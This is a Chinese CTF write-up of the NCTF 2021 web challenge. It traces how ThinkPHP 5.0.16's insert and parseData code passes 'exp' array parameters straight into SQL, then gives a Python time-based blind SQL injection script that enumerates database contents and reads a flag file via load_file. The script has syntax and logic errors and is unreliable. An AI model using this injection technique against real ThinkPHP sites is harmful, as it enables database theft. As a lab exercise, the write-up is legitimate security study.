2021 NCTF-web 摆就完事了(2)复现
2021 NCTF-web 摆就完事了(2)复现
前置知识
ThinkPHP5.0.16&5.1.6SQL注入漏洞
参考学习:https://www.cesafe.com/html/3631.html
首先跟入insert,thinkphp/library/think/db/Query.php:2078
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
$data = array_merge($options['data'], $data);
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);
// 获取参数绑定
$bind = $this->getBind();
if ($options['fetch_sql']) {
// 获取实际执行的SQL语句
return $this->connection->getRealSql($sql, $bind);
}
// 执行操作
$result = 0 === $sql ? 0 : $this->execute($sql, $bind);
if ($result) {
$sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
$lastInsId = $this->getLastInsID($sequence);
if ($lastInsId) {
$pk = $this->getPk($options);
if (is_string($pk)) {
$data[$pk] = $lastInsId;
}
}
$options['data'] = $data;
$this->trigger('after_insert', $options);
if ($getLastInsID) {
return $lastInsId;
}
}
return $result;
}
发现其进行了$sql=$this->builder->insert($data, $options, $replace);的构造语句,跟入thinkphp/library/think/db/Builder.php:720:
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);
if (empty($data)) {
return 0;
}
$fields = array_keys($data);
$values = array_values($data);
$sql = str_replace(
['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
[
$replace ? 'REPLACE' : 'INSERT',
$this->parseTable($options['table'], $options),
implode(' , ', $fields),
implode(' , ', $values),
$this->parseComment($options['comment']),
], $this->insertSql);
return $sql;
}
使用了parseData函数,跟入thinkphp/library/think/db/Builder.php:101
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
}
break;
case 'dec':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
}
break;
}
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}
分析该switchcase函数
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
}
break;
case 'dec':
if ($key == $val[1]) {
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
}
break;
}
发现当我们传入的第一位的值为exp时,该函数会直接把第二位的值传给result当中,于是我们可以传参/?username[0]=exp&username[1]=payload,于是可进行sql注入。
ThinkPHP驼峰命名法
默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:
http://tp5.com/index.php/index/Index/Index
http://tp5.com/index.php/index/INDEX/INDEX
做题详解
扫目录下源码得到www.zip
随便输入后发现网站是用ThinkPHPv5.0.16搭建的,发现我们可以路由访问规则来进行访问。
分析源码,找出上述漏洞后,我们可以使用基于时间的布尔盲注来解题,脚本如下:
import requests
import time
def SQL_injection():
for i in range(1, 100)
res=''
left=32
right=128
mid=(left+right)//2
while(left<right):
begin_time=time.time()
payload_database="if(ascii(substr(database(), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
payload_all_database="if(ascii(substr(select(group_concat(schema_name))from(information_schema.schemata)), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
payload_table="if(ascii(substr(select(group_concat(table_name)from(information_schema.tables)where(table_schema='nctf')), %d, 1))>%d), sleep(4), sleep(1))" %(i, mid)
payload_column="if(ascii(substr(select(group_concat(column_name)from(information_schema.columns)where(table_name='m1saka')), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
payload_info="if(ascii(substr(select(load_file("/var/www/html/ffllaagg.php")), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
payload=payload_info
url='http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=payload'
r=requests.get(url=url)
end_time=time.time()
lost_time=end_time-begin_time
if lost_time > 3:
left=mid+1
else:
right=mid
if(mid==32):
break
res+=chr(mid)
print(res)
if __name__ == "__main__" :
SQL_injection()
得到flag。